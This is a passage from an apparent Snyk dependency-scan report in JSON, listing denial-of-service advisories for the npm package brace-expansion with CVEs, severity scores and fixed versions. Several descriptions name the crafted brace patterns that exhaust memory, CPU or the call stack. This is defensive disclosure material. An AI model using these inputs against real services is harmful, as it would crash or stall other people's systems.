to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub 